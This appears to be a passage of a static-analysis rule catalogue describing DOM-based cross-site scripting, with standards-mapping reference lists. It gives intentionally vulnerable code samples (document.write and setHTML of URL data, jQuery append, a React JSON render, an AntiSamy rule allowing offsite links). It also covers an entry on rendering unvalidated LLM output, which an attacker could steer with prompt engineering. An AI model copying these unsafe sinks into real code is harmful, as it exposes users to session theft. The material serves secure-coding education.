Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of DOM-based XSS, data is read from a URL parameter or other value within the browser and written back into the page with client-side code. In the case of reflected XSS, the untrusted source is typically a web request, while in the case of persisted (also known as stored) XSS it is typically a database or other back-end data store.


2. The data is included in dynamic content that is sent to a web user without validation. In the case of DOM-based XSS, malicious content is executed as part of DOM (Document Object Model) creation, whenever the victim's browser parses the HTML page.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following JavaScript code segment reads an employee ID, eid, from an HTTP request and displays it to the user.


String queryString = Window.Location.getQueryString();
int pos = queryString.indexOf("eid=")+4;
HTML output = new HTML();
output.setHTML(queryString.substring(pos, queryString.length()));


The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes metacharacters or source code, then the code is executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.


As the example demonstrates, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- Data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- The application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] INJECT-3: XML and HTML generation requires care Oracle
[4] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.java.cross_site_scripting_dom
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of DOM-based XSS, data is read from a URL parameter or other value within the browser and written back into the page with client-side code. In the case of reflected XSS, the untrusted source is typically a web request, while in the case of persisted (also known as stored) XSS it is typically a database or other back-end data store.


2. The data is included in dynamic content that is sent to a web user without validation. In the case of DOM-based XSS, malicious content is executed as part of DOM (Document Object Model) creation, whenever the victim's browser parses the HTML page.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following JavaScript code segment reads an employee ID, eid, from a URL and displays it to the user.


<SCRIPT>
var pos=document.URL.indexOf("eid=")+4;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>

Example 2: Consider the HTML form:


<div id="myDiv">
Employee ID: <input type="text" id="eid"><br>
...
<button>Show results</button>
</div>
<div id="resultsDiv">
...
</div>


The following jQuery code segment reads an employee ID from the form, and displays it to the user.


$(document).ready(function(){
$("#myDiv").on("click", "button", function(){
var eid = $("#eid").val();
$("resultsDiv").append(eid);
...
});
});


These code examples operate correctly if the employee ID from the text input with ID eid contains only standard alphanumeric text. If eid has a value that includes metacharacters or source code, then the code will be executed by the web browser as it displays the HTTP response.

Example 3: The following code shows an example of a DOM-based XSS within a React application:


let element = JSON.parse(getUntrustedInput());
ReactDOM.render(<App>
{element}
</App>);


In Example 3, if an attacker can control the entire JSON object retrieved from getUntrustedInput(), they may be able to make React render element as a component, and therefore can pass an object with dangerouslySetInnerHTML with their own controlled value, a typical cross-site scripting attack.

Initially these might not appear to be much of a vulnerability. After all, why would someone provide input containing malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

As the example demonstrates, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- Data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- The application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] XSS via a spoofed React element Daniel LeCheminant
[4] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[5] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[11] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[12] Standards Mapping - FIPS200 SI
[13] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[14] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[15] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[16] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[17] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[18] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[19] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[20] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2021 A03 Injection
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[37] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[39] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[40] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[62] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[63] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.javascript.cross_site_scripting_dom
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of DOM-based Artificial Intelegence (AI) XSS, data from an AI prompt response is written back into the page with client-side code. In the case of reflected XSS, the untrusted source is typically a web request, while in the case of persisted (also known as stored) XSS it is typically a database or other back-end data store.


2. The data is included in dynamic content that is sent to a web user without validation. In the case of DOM-based XSS, malicious content is executed as part of DOM (Document Object Model) creation, whenever the victim's browser parses the HTML page.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash, or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following JavaScript code segment retrieves a response from a large language model (LLM) and displays it to the user.


<SCRIPT>
var response = llm.invoke(user_prompt);
...
document.write(response);
</SCRIPT>


DOM-based XSS occurs when an attacker can modify a browser's DOM so that client-side code will be executed in an unintended, and potentially dangerous, manner.

The output of an LLM is unpredictable, enabling an attacker utilizing prompt engineering techniques to produce unexpected outputs and bypass developer instructions intended to prevent the LLM from producing dangerous responses.

As the example demonstrates, XSS vulnerabilities are caused by code that includes unvalidated responses from an LLM. There are three vectors by which an XSS attack can reach a victim:

- Data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- The application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker can perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- A source outside the application produces potentially dangrous data, such as an LLM, stores dangerous data in a database, or retrieves data from another data store. This dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[62] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.javascript.cross_site_scripting_dom_ai
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code. Settings in the configuration can minimize and reduce the exposure to cross-site scripting
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source, most frequently a web request or database.

2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Since attacks against XSS vulnerabilities often involve communicating with or redirecting to a malicious site controlled by the attacker, the ability to inject references to content on other domains is integral to many exploits. AntiSamy can be configured to prevent links to external domains, which diminishes the damage an attacker may cause through an XSS attack. However, this protection is only a partial solution and does not address the overall threat posed by XSS vulnerabilities.

Example 1: The following AntiSamy configuration entry allows links to URLs outside of the domain on which the application is running.

<attribute name="href" onInvalid="filterTag">
<regexp-list>
<regexp name="onsiteURL"/>
<regexp name="offsiteURL"/>
</regexp-list>
</attribute>
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 82, CWE ID 83, CWE ID 87, CWE ID 692
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001167, CCI-001310
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-18 Mobile Code (P2), SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-18 Mobile Code, SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
